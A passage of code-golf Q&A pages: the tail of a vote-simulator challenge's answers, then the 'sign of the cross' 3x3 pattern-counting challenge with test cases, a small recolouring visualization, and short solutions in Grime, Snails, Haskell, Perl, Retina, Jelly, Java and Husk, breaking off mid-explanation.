6, 18 + 80 = 98 bytes Requires: ``` using System.Linq; ``` Actual function: ``` int S(string v)=>v.Split(new[]{"^^","vv"},0).Last().Length<1?0:v.Last()<95?1:-1; ``` How it works: the code first removes everything before the last `^^` or `vv`. That content is not relevant because clicking the same button twice will always cancel your vote. It does this by splitting on `^^` and `vv` and taking the last item. If this item is an empty string (`.Length<1`), then the function returns `0` because all voting has been cancelled. If the string it not empty, then it just looks at the last char of the original string: it will override all previous votes. If the char code is smaller than 95, then it will be 94, `^`, so it returns `1`, otherwise `-1`. [Answer] # Python 2.7, ~~79~~ ~~75~~ 88 ``` s=input() print (0,(1,-1)[s[-1]=='v'])[len(s[s.rfind(('v^','^v')[s[-1]=='v'])+1:])%2!=0] ``` [Answer] # Go, 179 bytes An ***extremely*** naive solution. ``` package main import(."fmt"."strings") func main(){a:="" i:=0 Scanln(&a) b:=Split(a,"") for _,e:=range b{switch i{case 1:i-- case 0:if e=="^"{i++}else{i--} case-1:i++}} Println(i)} ``` Ungolfed: ``` package main import ( ."fmt" ."strings" ) func main() { a := "" i := 0 Scanln(&a) b := Split(a, "") for _, e := range b { switch i { case 1: i-- case 0: if e == "^" { i++ } else { i-- } case -1: i++ } } Println(i) } ``` [Answer] # [05AB1E](https://github.com/Adriandmen/05AB1E), 8 bytes ``` 㤮öÓÆ.± ``` [Try it online!](https://tio.run/##yy9OTMpM/W9s5Ob5/9zmQ0sOrTu87fDkw216hzb@1/nPFRfHFVfGFcdVxlUGJICsOBAFpsEMCAvChLKhHBAPiMtABgB1g7THgUwB84EUEIMQOheDjyFQhiGARQQiBAdccehcVD5YOwJwoXOReQA "05AB1E – Try It Online") Alternative solutions with the same length: `u㤮öÓÆ(`, `㤮ögÓÆ(`. [Answer] ## [Minkolang 0.11](https://github.com/elendiastarman/Minkolang), ~~28~~ 22 bytes ``` 0$I2&N."j"o-34*:dr=,*! ``` [Try it here.](http://play.starmaninnovations.com/minkolang/?code=0%24I2%26N%2E%22j%22o-34*%3Adr%3D%2C*!&input=%5Evvv%5E%5Evv%5Evv%5Ev%5Evvv) ### Explanation ``` 0 Push a 0 (running total) $I Push length of input 2&N. Output as integer and stop if this is 0 "j" Push 106 o Take character from input (94 for ^, 118 for v) <<so ^ becomes +12 and v becomes -12>> - Subtract 34*: Divide by 12 d Duplicate top of stack r Reverse stack =, Push 0 if equal, 1 otherwise * Multiply <<this handles two of the same vote in a row>> ! Unconditional trampoline (jumps the 0 at the beginning) ``` Note that there is no `N.` at the end. That's because I let it wrap around to the beginning. When the input is empty, the final tally is output as integer and the program stops. [Answer] # Pyth, 13 bytes ``` ut+Jq\^H>JGzZ ``` [Answer] # Mathematica, 60 bytes ``` Mod[#,2]Sign@#&@Tr@Last@Split@StringCases[#,{"^"->1,_->-1}]& ``` [Answer] # [Shape Script](https://github.com/DennisMitchell/ShapeScript/), 26 bytes ``` "^"$"0>1@-"~"v"$"0<1-"~0@! ``` How it woks: ``` "^"$ split input on '^' " 0> Check if the number is more than 0 (1 if true, 0 if false). 1@- subtract the answer from one. "~ Join it back together, with this string in place of '^' "v"$ Split on 'v' " 0< Check if 0 is more than the number (1 if true, 0 if false). 1- subtract one from the results "~ Join it back together, with this string in place of 'v' 0@ add a zero to the stack and place it under the string just built. ! run the string as code ``` [Answer] # C# 6, 18 + 97 95 = 115 113 bytes, no string methods, excessive LINQ ``` int v(string s)=>(int)s.Reverse().TakeWhile((c,i)=>i<1||c==s[s.Length-i])?.Sum(x=>x<95?1:-1)%2; ``` Truly deserves to be preceded by ``` using System.Linq; ``` Got the idea of using `x<95?1:-1` instead of `x=='^'?1:-1` from [ProgramFOX's answer](https://codegolf.stackexchange.com/questions/63369/stack-exchange-vote-simulator/63464#63464) Coincidences: * The tweak I stole makes use of comparing to 95 – the byte count excluding the using statement, using said tweak * The sum of the digits of the total byte count equals the number of digits of the total byte count written as roman numeral [Answer] # C: ~~67~~ 66 Bytes golfed: ``` void f(char *v){int i=0,c,s=0;for(;v[i]!=0;i++){v[i]>94?s--:s++;}} ``` ungolfed: ``` void f (char *v) { int i = 0, c, s = 0; for (;v[i]!=0;i++) { v[i] > 94 ? s-- : s++; } } ``` [Answer] # Perl 5, 41 bytes 40 bytes, plus 1 for `-p` ``` /(.)\1*$/;$_=((length$&)%2)*($1=~v?-1:1) ``` `/(.)\1*$/;` compares the input string to the regex `/(.)\1*$/`, i.e. sees whether it ends with a single character repeated some number ≥1 of times. If so, `$&` is the whole repetition string and `$1` is the character; otherwise (i.e. the input string is empty), those two variables are the empty string. `$1=~v?-1:1` compares `$1` to the regex `v` and returns −1 if it matches and 1 otherwise. And multiply that ±1 by `(length$&)%2`, the length of `$&` modulo 2. [Answer] # [05AB1E](https://github.com/Adriandmen/05AB1E/wiki/Commands), ~~14~~ ~~12~~ 11 [bytes](https://github.com/Adriandmen/05AB1E/wiki/Codepage) ``` Îvy'^QDŠ‹+< ``` Port of [*@Sp3000*'s Gol><> answer](https://codegolf.stackexchange.com/a/63383/52210). NOTE: [*@Grimy* already posted a shorter 8 bytes alternative for 05AB1E](https://codegolf.stackexchange.com/a/185280/52210), so make sure to upvote him! [Try it online](https://tio.run/##MzBNTDJM/f//cF9ZpXpcoMvRBY8admrb/P8fV1ZWFgckwAjEKAMA) or [verify all test cases](https://tio.run/##MzBNTDJM/V9Waa@k8KhtkoKS/X@DyrJK9bhAl6MLHjXs1Lb5X6vzP1opLk5JR0EprgxMgggwqwzChIjGQTkwHowL58MFECIIIagYhCqD2gaxBGpLHNRKmByQBcQghEUEmxA2sTJsYtgF4aJwAHUyhgiGENgoBID6Cl0ERSAWAA). **Explanation:** ``` Î # Push 0 (later mentioned as `r`) and the input-string v # Loop over the characters of the input: y'^Q '# Does the current character equal "^"? # (results in 1 for truthy; 0 for falsey - later mentioned as `b`) D # Duplicate this result `b` Š # Triple swap (`r`,`b`,`b`) to (`b`,`r`,`b`) ‹ # Check if the boolean `b` is smaller than the result-integer `r` # (again results in 1 for truthy; 0 for falsey) + # Add them together < # Decrease this by 1 # (Implicitly output the result-integer `r` after the loop) ``` [Answer] # CJam, ~~27~~ 24 bytes ``` '^_]r+e`W=(2%\(i99-g@*W* ``` [Try it Online](http://cjam.aditsu.net/#code='%5E_%5Dr%2Be%60W%3D(2%25%5C(i99-g%40*W*&input=%5Evvv%5E%5Evv%5Evv%5Ev%5E%5Evvv). All I took from Dennis' answer is `g` (sign function) . [Answer] # Ruby, 43 ``` ->s{a=0 s.bytes{|i|b=9-i/11;a=a!=b ?b:0} a} ``` `9-i/11` evaluates to 1 or -1 when given the ascii codes of `^` (94) or `v` (118) In test program: ``` f=->s{a=0 s.bytes{|i|b=9-i/11;a=a!=b ?b:0} a} g=gets.chomp puts f[g] ``` ]
[Question] [ [T](https://codegolf.stackexchange.com/questions/154548/fryer-simulator#comment-377507)he brethren from the order of St Golfus the Concise have a tradition of reciting a short prayer whenever they see someone make the [sign of the cross](https://en.wikipedia.org/wiki/Sign_of_the_cross). Due to the high level of sin measured among tourists recently, they have installed CCTV in the monastery, and they've hired you to help them keep old tradition alive in the age of AI. Your task is to analyse output from the friars' finger-tracking software and tell how many prayers are due. The input is a matrix containing integers between 0 and 4. 1,2,3,4 represent the positions of fingers at consecutive moments in time. 0 represents non-fingers. The One True WayTM to cross oneself is: ``` .1. 3.4 .2. ``` ("." matches any digit). However, due to uncertainty about the rotation of the camera and the presence of pious Eastern Orthodox brethren in the crowd (whose One True WayTM is in the opposite sideways direction), you should count all rotations and reflections too: ``` .4. .2. .3. .1. .3. .2. .4. 1.2 4.3 2.1 4.3 1.2 3.4 2.1 .3. .1. .4. .2. .4. .1. .3. ``` One digit may be part of multiple crosses. Help the friars determine the number of times their AI should `.pray()` by counting how many of the above 3x3 submatrices are present. Write a program or a function. Take input in any reasonable convenient form. Testament cases: ``` // in [[0,4,2,0], [1,3,2,4], [2,3,1,0]] // out 2 // in [[4,3,3,2,4,4,1,3,2,2], [0,3,0,2,1,1,2,3,2,3], [0,3,1,3,2,4,3,3,1,1], [4,3,2,3,2,4,1,4,2,3], [0,4,2,3,4,0,2,3,2,4], [2,1,0,0,2,0,0,1,2,4], [4,0,3,1,3,2,0,3,2,3], [1,4,3,3,1,4,0,1,4,4], [0,2,4,3,4,3,1,3,0,4], [3,0,1,0,4,0,3,3,3,3]] // out 3 // in [[3,2,3,1,0,3,4,2,1,1,1,1,4,0,1,3,1,1,2,1,1,3,0,1,0,1,1,0,0,1,0,3,4,0,1,1,2,3,1,2,4,1,0,2,3,0,2,4,3,2], [2,4,1,1,0,3,0,2,4,2,3,2,1,3,0,2,3,2,4,4,4,3,2,1,1,3,2,1,2,3,2,4,0,3,1,4,4,1,1,0,1,1,0,2,2,3,1,2,0,2], [3,4,0,0,4,4,0,3,4,4,1,3,2,1,3,2,3,2,2,0,4,0,1,2,3,0,4,3,2,2,2,0,3,3,4,4,2,2,1,4,4,1,3,1,1,2,0,1,1,0], [1,4,2,2,2,1,3,4,1,1,2,1,4,0,3,2,2,4,1,3,3,0,4,1,1,0,0,1,2,2,1,3,4,0,4,1,0,1,1,0,2,1,3,1,4,4,0,4,3,2], [4,4,2,0,4,4,1,1,2,2,3,3,2,3,0,3,2,1,0,3,3,4,2,2,2,1,1,4,3,2,1,1,4,3,4,2,4,0,1,0,2,4,2,2,0,3,3,0,3,2], [4,3,3,1,3,1,1,3,3,1,0,1,4,3,4,3,4,1,2,2,1,1,2,1,4,2,1,1,1,1,1,3,3,3,1,1,4,4,0,0,3,3,1,4,4,3,2,3,3,0], [1,4,1,4,0,0,1,3,1,2,2,1,1,2,3,3,2,0,3,4,3,2,1,2,2,3,3,1,4,2,1,1,4,1,3,2,0,0,0,1,2,4,1,1,3,0,4,2,3,1], [2,2,3,0,0,4,2,1,2,3,1,2,4,1,0,1,0,2,4,1,3,4,4,0,0,4,0,4,4,2,0,0,2,2,3,3,4,1,0,3,2,1,0,1,1,0,3,0,3,2], [1,2,4,3,4,3,1,2,2,3,0,1,2,4,4,4,3,1,2,3,4,3,3,2,0,0,2,0,3,4,4,2,3,2,0,2,4,3,0,0,0,4,4,0,4,4,0,3,3,3], [4,4,1,2,0,2,2,0,0,3,2,3,2,3,4,1,0,2,3,0,3,2,1,1,4,3,0,2,3,1,0,4,1,2,4,1,1,4,4,4,2,2,2,3,0,1,0,3,0,1], [4,0,3,0,2,2,0,3,2,2,2,4,0,4,0,1,0,1,4,3,3,2,3,1,2,2,4,4,0,3,2,3,1,4,1,0,3,2,3,2,2,0,1,2,4,0,3,0,4,4], [0,4,0,1,0,2,3,2,1,3,1,1,2,0,3,2,1,4,0,1,4,4,1,3,4,4,1,0,4,1,0,3,4,0,3,2,4,3,3,3,3,1,2,2,3,3,3,1,3,4], [3,4,1,2,1,1,1,0,4,0,1,1,0,4,1,3,1,1,2,0,2,1,4,1,4,4,3,2,0,3,0,3,0,1,1,2,1,3,0,4,4,2,2,2,1,3,4,1,1,1], [3,0,1,4,2,0,0,3,1,1,1,4,4,0,2,2,0,4,0,3,1,0,2,2,4,4,4,0,4,4,4,4,4,4,3,0,4,4,4,1,2,4,4,3,0,0,4,0,4,2], [2,0,1,2,1,1,3,0,3,1,0,4,3,1,2,1,1,3,0,1,2,4,2,1,2,3,4,2,4,4,2,2,3,4,0,0,1,0,0,4,1,3,3,4,1,2,1,3,3,2], [4,0,2,0,3,1,2,1,1,1,1,2,3,0,3,1,0,4,3,0,0,0,2,0,1,4,0,2,1,3,4,2,2,4,2,3,1,2,0,2,0,2,4,0,1,2,3,4,1,3], [3,0,2,4,2,0,3,4,3,2,3,4,2,0,4,1,0,4,3,3,1,0,2,2,2,1,3,3,1,1,0,3,3,0,3,2,1,1,0,1,2,2,0,4,4,2,0,1,3,1], [0,4,4,4,0,3,0,3,0,2,2,0,1,2,3,3,4,3,0,4,1,2,3,3,0,2,2,3,0,0,0,2,4,2,3,4,2,3,4,0,2,0,1,1,3,4,2,2,4,4], [2,1,2,3,4,3,1,2,0,0,0,0,0,0,3,4,3,3,1,2,2,1,3,4,1,2,4,0,1,4,1,0,0,0,2,1,1,1,3,0,0,3,1,1,4,2,1,3,4,1], [1,0,3,0,2,1,4,2,3,3,1,1,3,4,4,0,1,2,1,3,0,3,1,1,3,0,2,4,4,4,2,3,1,4,3,4,0,1,4,1,1,1,4,0,0,2,3,4,0,4]] // out 8 ``` "Blessed be the shortest of shortests, for it winneth the kingdom of upvotes." -Book of St Golfus 13:37 "Thou shalt not use loopholes, for they are the wicked works of Lucifer." -Letter to the Meta 13:666 Slight visualization of people making the cross ``` var html = $('pre').html(); html = html.split('0').join('<span class="zero">0</span>') .split('1').join('<span class="one">1</span>') .split('2').join('<span class="two">2</span>') .split('3').join('<span class="three">3</span>') .split('4').join('<span class="four">4</span>') $('pre').html(html); var count =['zero','one','two','three','four']; var counter = 0; var $all = $('span'); window.setInterval(function() { var clazz = count[counter]; counter++; if(counter == count.length) { counter = 0; } $all.css({'color':'white'}); $('span.'+clazz).css({'color':''}); },1000) ``` ``` .zero { color:blue; } .one { color:green; } .two { color:gray; } .three { color:orange; } .four { color: red; } span { transition:1s ease-out; } ``` ``` <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script> <pre> // in [[0,4,2,0], [1,3,2,4], [2,3,1,0]] // out 2 // in [[4,3,3,2,4,4,1,3,2,2], [0,3,0,2,1,1,2,3,2,3], [0,3,1,3,2,4,3,3,1,1], [4,3,2,3,2,4,1,4,2,3], [0,4,2,3,4,0,2,3,2,4], [2,1,0,0,2,0,0,1,2,4], [4,0,3,1,3,2,0,3,2,3], [1,4,3,3,1,4,0,1,4,4], [0,2,4,3,4,3,1,3,0,4], [3,0,1,0,4,0,3,3,3,3]] // out 3 // in [[3,2,3,1,0,3,4,2,1,1,1,1,4,0,1,3,1,1,2,1,1,3,0,1,0,1,1,0,0,1,0,3,4,0,1,1,2,3,1,2,4,1,0,2,3,0,2,4,3,2], [2,4,1,1,0,3,0,2,4,2,3,2,1,3,0,2,3,2,4,4,4,3,2,1,1,3,2,1,2,3,2,4,0,3,1,4,4,1,1,0,1,1,0,2,2,3,1,2,0,2], [3,4,0,0,4,4,0,3,4,4,1,3,2,1,3,2,3,2,2,0,4,0,1,2,3,0,4,3,2,2,2,0,3,3,4,4,2,2,1,4,4,1,3,1,1,2,0,1,1,0], [1,4,2,2,2,1,3,4,1,1,2,1,4,0,3,2,2,4,1,3,3,0,4,1,1,0,0,1,2,2,1,3,4,0,4,1,0,1,1,0,2,1,3,1,4,4,0,4,3,2], [4,4,2,0,4,4,1,1,2,2,3,3,2,3,0,3,2,1,0,3,3,4,2,2,2,1,1,4,3,2,1,1,4,3,4,2,4,0,1,0,2,4,2,2,0,3,3,0,3,2], [4,3,3,1,3,1,1,3,3,1,0,1,4,3,4,3,4,1,2,2,1,1,2,1,4,2,1,1,1,1,1,3,3,3,1,1,4,4,0,0,3,3,1,4,4,3,2,3,3,0], [1,4,1,4,0,0,1,3,1,2,2,1,1,2,3,3,2,0,3,4,3,2,1,2,2,3,3,1,4,2,1,1,4,1,3,2,0,0,0,1,2,4,1,1,3,0,4,2,3,1], [2,2,3,0,0,4,2,1,2,3,1,2,4,1,0,1,0,2,4,1,3,4,4,0,0,4,0,4,4,2,0,0,2,2,3,3,4,1,0,3,2,1,0,1,1,0,3,0,3,2], [1,2,4,3,4,3,1,2,2,3,0,1,2,4,4,4,3,1,2,3,4,3,3,2,0,0,2,0,3,4,4,2,3,2,0,2,4,3,0,0,0,4,4,0,4,4,0,3,3,3], [4,4,1,2,0,2,2,0,0,3,2,3,2,3,4,1,0,2,3,0,3,2,1,1,4,3,0,2,3,1,0,4,1,2,4,1,1,4,4,4,2,2,2,3,0,1,0,3,0,1], [4,0,3,0,2,2,0,3,2,2,2,4,0,4,0,1,0,1,4,3,3,2,3,1,2,2,4,4,0,3,2,3,1,4,1,0,3,2,3,2,2,0,1,2,4,0,3,0,4,4], [0,4,0,1,0,2,3,2,1,3,1,1,2,0,3,2,1,4,0,1,4,4,1,3,4,4,1,0,4,1,0,3,4,0,3,2,4,3,3,3,3,1,2,2,3,3,3,1,3,4], [3,4,1,2,1,1,1,0,4,0,1,1,0,4,1,3,1,1,2,0,2,1,4,1,4,4,3,2,0,3,0,3,0,1,1,2,1,3,0,4,4,2,2,2,1,3,4,1,1,1], [3,0,1,4,2,0,0,3,1,1,1,4,4,0,2,2,0,4,0,3,1,0,2,2,4,4,4,0,4,4,4,4,4,4,3,0,4,4,4,1,2,4,4,3,0,0,4,0,4,2], [2,0,1,2,1,1,3,0,3,1,0,4,3,1,2,1,1,3,0,1,2,4,2,1,2,3,4,2,4,4,2,2,3,4,0,0,1,0,0,4,1,3,3,4,1,2,1,3,3,2], [4,0,2,0,3,1,2,1,1,1,1,2,3,0,3,1,0,4,3,0,0,0,2,0,1,4,0,2,1,3,4,2,2,4,2,3,1,2,0,2,0,2,4,0,1,2,3,4,1,3], [3,0,2,4,2,0,3,4,3,2,3,4,2,0,4,1,0,4,3,3,1,0,2,2,2,1,3,3,1,1,0,3,3,0,3,2,1,1,0,1,2,2,0,4,4,2,0,1,3,1], [0,4,4,4,0,3,0,3,0,2,2,0,1,2,3,3,4,3,0,4,1,2,3,3,0,2,2,3,0,0,0,2,4,2,3,4,2,3,4,0,2,0,1,1,3,4,2,2,4,4], [2,1,2,3,4,3,1,2,0,0,0,0,0,0,3,4,3,3,1,2,2,1,3,4,1,2,4,0,1,4,1,0,0,0,2,1,1,1,3,0,0,3,1,1,4,2,1,3,4,1], [1,0,3,0,2,1,4,2,3,3,1,1,3,4,4,0,1,2,1,3,0,3,1,1,3,0,2,4,4,4,2,3,1,4,3,4,0,1,4,1,1,1,4,0,0,2,3,4,0,4]] </pre> ``` --- Thanks @Tschallacka for the visualization. [Answer] ## [Grime](https://github.com/iatorm/grime), 20 bytes ``` n`.\1./\3.\4/.\2.voO ``` [Try it online!](https://tio.run/##HYs7DgJBDEP7OUzWdnyPvcAUNAhRABIF15/1kCLy7z2@z9d9rfetJuuYXdNHTdXvc67lbtlsaaAhUq2OTJKKHI6X6Z3mGdsOERDASP/H2Bg3YtAeCO4U8GgQGeUu "Grime – Try It Online") A very literal implementation of the spec: * `n`` make Grime count the number of subrectangles of the input that yield a match. * `.\1./\3.\4/.\2.` defines the 3x3 square: ``` .1. 3.4 .2. ``` Where `.` can be any character. * `oO` is an orientation modifier which allows this rectangle to appear in any rotation or reflection. The `v` is used to lower `o`s precedence so that we don't need parentheses around the square. [Answer] ## [Snails](https://github.com/feresum/PMA), ~~17~~ 16 bytes ``` Ao \1.=\2o=\3b\4 ``` [Try it online!](https://tio.run/##HYs7DoRADEP7HGZlO24p9h7TLB0SgoL7a/Bsisi/91y/43zm/N41@NmG7m30Pjynu2WzpUJDpFodmSQVWY6X6ZXmGcuWCAhgpP9jLIwLMWgXgjsFXA0io9wL "Snails – Try It Online") ### Explanation `A` makes Snails count the number of possible matching paths in the entire input. `o` sets the starting direction to any orthogonal direction (instead of just eastward). The pattern itself is on the second line: ``` \1 Match a 1. . Match an arbitrary character (the one in the centre). =\2 Check that the next character ahead is a 2, but don't move there. o Turn to any orthogonal direction. In practice, this will only be one of the two directions from the centre we haven't checked yet. =\3 Check that the next character ahead is a 3. b Turn around 180 degrees. \4 Match a 4 in that direction. ``` [Answer] ## Haskell, ~~108~~ ~~102~~ 93 bytes ``` f((_:t:x):w@((l:q@(_:r:_)):(_:b:z):_))=sum$f((t:x):q:[b:z]):f w:[1|(l*r-1)*(t*b-1)==11] f _=0 ``` [Try it online!](https://tio.run/##dVZdb9pAEHzPr/BDHiBypd29fbKElP@BUJSoRY1K0oakSlX1v9PjbnZ8wIEFNvbefszOzvn74/uPb7vd4bBdLB6mj@nPcvq8Xyx209t9/r@fHpbLKV88TX@Xx@vV@@@X22xaDN@mdb6/WU7b4XNa67/F7m7/RZd3i4@7p3xerVQ3N9vhYSWHl8fn12E1fP15Mwy/9s@vH8PtsB3Waxl9tFE241rHlK88X1m@0nxvc2br@X6xyUe1ts2YbZpP9pdGyU80H1ZsUtcG0YrHbHth43VtsdGSY/YzXDgqD/KvhPGFo2MqUp4ff7Vrc1wfKcmVpJXJevHjHT@CkhzepGOTymoZa8xyXABdS9di4QBTGTkBXEUMLV9FfQI8ogEKCCtCkaF1cHJ4CauKqOJ/NN5xV3GOJwJswosiZuQgnZg1Uymrat5Ov9F@A1aK/B13Dfh5ydQYO9BBBt0@GlYkZGvAtnquXmqsGdd5hQDPqFBZuVzBtuYoRKeiklBRrTeqidy0QdrxxNFhg50gz37MBBYq6lHwNuGrjGQYMeWRYjBRl5D7MZjpCrYKe0XfZymI6XIyx@g16owZ5KyS5ZWP2uFtRVHg5ZTzgZaCKQI2RUeEWTh6YE1vr2GrJ3MeGWgzIQpdSqzHyHDDvepDmgnwWRW6HMIcwWNMSDqZ75YzQh3xBk3nzBj1o5yv6KKQa4b5EDJRWWMg4ZykhI7KySwr1UKuaOjM8sTpUmbQ6C@7qpzJxOge6towrc6Dd3VIyX@hfsqZotgYDHeyGdhhfSK3ThVGr@wDzl5qM22z6iWqqDcccfIs/gf3UsPwnsbLyc4R3Ehn@4k1s@TwbNxpBZoYOumsva9DwX1tFMbO4gtnRIGAUg293UMwN8LstDMr8w42602iBkfMGVujQmqrqdzJjOptoWxd3jqZPU@NUl8S5zDx@Vy5M8d4nxF0JFDov9tYo0PSHIk1tkw0To8ysrLzQs3nio72za94TgWf9XWeg0S/Rs1J3IEiC@WOEZV7fh86/Ac "Haskell – Try It Online") No regex. Pattern match ``` .t. l.r .b. ``` in the top left corner of the matrix , take a `1` if `(l*r-1)*(t*b-1)==11` and recursively go to the right (drop `.l.`) and down (drop first row). If the pattern cannot be matched (at the right or bottom border) take a `0`. Sum all results. Edit: -9 bytes thanks to @xnor. [Answer] # Perl, 70 bytes Includes +2 for `0p` Give input matrix as a block of digits without spaces on STDIN: ``` perl -0pe '$_=map{/.$/m+y/1-4/3421/;/(?=1.{@{-}}(3.4|4.3).{@{-}}2)/sg}($_)x4' 0420 1324 2310 ^D ``` Rotates the cross by rotating the digits [Answer] # [Retina](https://github.com/m-ender/retina/wiki/The-Language), ~~92~~ ~~83~~ 82 bytes ``` L$v`(?<=(.)*).(.)..*¶(?<6-1>.)*(.).(.).*¶(?<-6>.)*.(.) $5$2$3$4 /../_O`. 1234|3412 ``` [Try it online!](https://tio.run/##JYuxDcJQDER7z/GLJFJ@fPaRKsACSIxAKChoKBCiYi4GYLGPDZZ8st/d3S@P6@2M1g7luXb7ZdvVfuhraK3D5x1kHrELliT3D8c5WQIpm2LFC2WqdTod1yow58sJa43uRsLNRF0NYZnHGSQsQBi/EUwaQs1XDKqmijj5C2vWkBUqSNGoMwyluEIjFPMF "Retina – Try It Online") Explanation: ``` L$v`(?<=(.)*).(.)..*¶(?<6-1>.)*(.).(.).*¶(?<-6>.)*.(.) $5$2$3$4 ``` Look for all overlapping 3x3 squares. A lookbehind captures the indent so that it can be balanced on the second line, itself transferring the indent from group 1 to group 6, so it can be balanced again on the third line. The input is assumed to be rectangular so we don't have to check that the groups balance. The bottom/top middle cells and the left/right middle cells are then captured. ``` /../_O`. ``` Sort each pair of cells into order. ``` 1234|3412 ``` Count the remaining valid patterns. [Answer] # [Jelly](https://github.com/DennisMitchell/jelly), 26 bytes ``` Z3Ƥṡ€3ẎµFḊm2ṙ-s2Ṣ€ṢFµ€ċ4R¤ ``` [Try it online!](https://tio.run/##XVU7jlNBEMw5BQd4SP07wx6AEMshCdqNiEgJQSInBG1IuhJLaCHu4b3IYzxdXdO2LD3Pm5n@VVfX@/D@/v7Tvr/zf4/n5x8vn3/5@c@309Pd@feXBzs/f3/zcTx/jv3xvDs9jcXfr/H29Ljv@@Hgm22@6SbjGWOt@MXY0Xmi2PW5I3MtWDvuKbzYeL/s27x9eRv@j9ur14c8SZs8udwx@M11zJ8znsGvzSg@syovijgVVxAnM5J5M/ML@nJ4s3ku8C6ImfsOG5sWZa2IMaPOOIo76TeIU0Y1IOHwvzBbFgKsqhJlhdJwy1yElWfFjsyzrsq68tGGYuAk0DHDPUFuK47P@A7sHbmlfVZY3rPOxZW874iX@DurcWS8cFPcUfTOyCBHZsHuGz1VPYpbhWeQnckpBd8SIYHlNT8LCUW3BYwotIWRA/ha61XHTcHyYC3OvIK7ee70LWRZ7qUPacwt/o4feQCew0ux2a9mrvddONvRkAry2zjT8x9xakKNTDZkJI0TTkSNuRo6pS07IxqCHsWMI42RTvYro5YCReuScmacEQPc88aW5HFQD5RcFeqV3Ey2bcXMIAuBC@yd/LieekUcAUsFWrWmYSmOU7Wi9TnIlXov/nhjZumoXCly9ddvdNoa7wPeDG@l3kKNCta49KB4qm3S7SamkM@KSpVKFF2bwXFhRgper6/Bmnun5lWchZtRnbRrGL8KRrW0UhjyLcjCxXDlnDvnxHm@Kgzm5Vuw5l5toD9r3pU6JWBFNKYqcS@mK6MpOynUVVpAd6oKRVbOfIIccdoXzsG@BL/e0b75wgrjePwP "Jelly – Try It Online") # Explanation ``` Z3Ƥṡ€3ẎµFḊm2ṙ-s2Ṣ€ṢFµ€ċ4R¤ Main Link 3Ƥ For each 3 rows Z Zip the rows ṡ€3 Get all arrangements of 3 consecutive columns from these rows. At this step, we have all 3x3 contiguous submatrices Ẏ Unwrap by one layer; previously grouped by rows, now ungrouped µ µ€ For each 3x3 submatrix F Flatten it Ḋ Get rid of the first element m2 Take every second element (this only keeps the edges) ṙ- Rotate right 1 element s2 Group into pairs; now the top and bottom are grouped and the left and right are grouped Ṣ€ Sort each pair Ṣ Sort the pairs F Flatten ċ4R¤ Count the number of occurrences of range(4); i.e. [1,2,3,4] ``` -3 bytes thanks to Jonathan Allan (2) and Mr. Xcoder (3) (merged) [Answer] # Java 8, ~~135~~ ~~133~~ 131 bytes ``` m->{int r=0,i=0,j;for(;++i<m.length-1;)for(j=1;j<m[i].length-1;)if(~(m[i-1][j]*m[i+1][j])*~(m[i][j-1]*m[i][++j])==39)r++;return r;} ``` -2 bytes thanks to *@tehtmi* for a shorter formula: `(l*r-1)*(t*b-1)==11` to `~(l*r)*~(t*b)==39` **Explanation:** [Try it online.](https://tio.run/##nVZNc9owEL3nV/gI4WN2pb10HPoPmkuODAdKSGsKJgNOOp0M/etUSLtPsntqx9jYK2k/nt4@e7d@X8@Or9t29/zjutmvz@fqy7ppP@6qqmm77ellvdlWj7fHaKg2o3Bdrpar6jCug/USzvA7d@uu2VSPVVstquth9vnjNvm0oGkTzl39cjyN6smkeTjM99v2W/d9xvX4ZtwtuN49HJbNqhhoXka/R8E249Vyt7oPd5N4N76P5nAbRu7j3WQSzIuF/zQ@TSb1adu9ndrqVF@udUrs9e3rPiSm@b0fm@fqEOobPXWnpv22XK3HqbanX@due5gf37r5axjp9u2onW9G7fZnpQWneVX1QVOZuildpmbgqQ8GyQYXDBxmxOfLOAL1TyEkOIg@w5G8u@ydgoGCicPh4qDvD2o@0UeYlAclzY6DHKvorYyGcCWbVFYU6okDtyv3B28rLCoNE2IkInGllCtJ8xRdT@Wgj/NpmtzH4/8RTYVzdCUKHiMpr2CyZsHxZC2WFBUDnBXAhJPV4Eq0RJfbcAKU9dm2VtTK@m8jpHiZF9ZgFpzKYCk3itNTpgKHtt1OYWTNWNTqFFqJKToENTw0dH83nU71mp9TGJPLtDwFyRDmFaTQWU2MWmkIY8qKAEQCwGsNqULL35LiAlTREdFddDqPNMFBMK8kZK2Ala9eT0YIp93DOLw1m1ZC4Lz1nB/CyDqRdVNzQ1sfCWjh4M4qs25DO4K7iWxcsjEBRrq8T2EDhpUGpFQx8AnhReF2xf79BSP3OtpCc0F4VpXxqMCBt05tyQcVvJYsA32CaD@oKyO87zVoSQiCEEgBnKAFHAQg/g9VjsAgp3Qn8ItRldUuaAyvu0a9nmS0Ow2FMZPWo0sYoQs1xc4xessjrJhyFjRKLJe@gjDoTNA6GmiBmxpvBRxVmHS9B3H6EsFDVRfsFxddk4XKQ/GkIICARPZsxPIFb3tCTD1dt433A7V3RWuIunR4G5LKmEmboNqBghiVudAGNwhMoDxrzQwBk1LhtQ0IaXFJ/fxiyUrhoZcWLMPoIGpc6h9eMA5K60yT@mwUEDU3AUMZPPrJYzzXKkjOPi9Iwbe6B58arlAQKg6Pqkp@OTQDIyRjdwnCjBWlXOWvKYHMZi3MtPZw6KAWHu8HC8@QdatVet8sl7vL9Q8) ``` m->{ // Method with integer-matrix parameter and integer return-type int r=0, // Result-integer, starting at 0 i=0,j; // Index integers for(;++i<m.length-1;) // Loop over the rows, skipping the first and last for(j=1;j<m[i].length-1;) // Inner loop over the columns, skipping the first and last if(~(m[i-1][j]*m[i+1][j])*~(m[i][j-1]*m[i][++j])==39) // If (-(bottom*top)-1) * (-(left*right)-1) is exactly 39: r++; // Increase the result-counter by 1 return r;} // Return the result-counter ``` [Answer] # [Husk](https://github.com/barbuz/Husk), 23 bytes ``` #ö§&¦ḣ4SδΛ≈↔Ċ2tΣṁoX3TX3 ``` [Try it online!](https://tio.run/##yygtzv7/X/nwtkPL1Q4te7hjsUnwuS3nZj/q7HjUNuVIl1HJucUPdzbmRxiHRBj///8/OtpExxgIjXRMgNAQzDKK1Yk2ALIMgGxDIDQCixpDRQ2hqo3BbEOgqAlEHixqCMQwtWAWkDSAyQJFQSYagEVApCFUFKQGZrIB3DZDuC0mYLUmYLUGUNtNoDoMwKLGYBUGOhCTwDA2FgA "Husk – Try It Online") ## Explanation ``` #ö§&¦ḣ4SδΛ≈↔Ċ2tΣṁoX3TX3 Implicit input, a list of lists of integers. X3 Length-3 slices. ṁ Map over them and concatenate: T Transpose, oX3 then get length-3 slices. Now we have a list of 3x3-arrays of the (transposed) input. 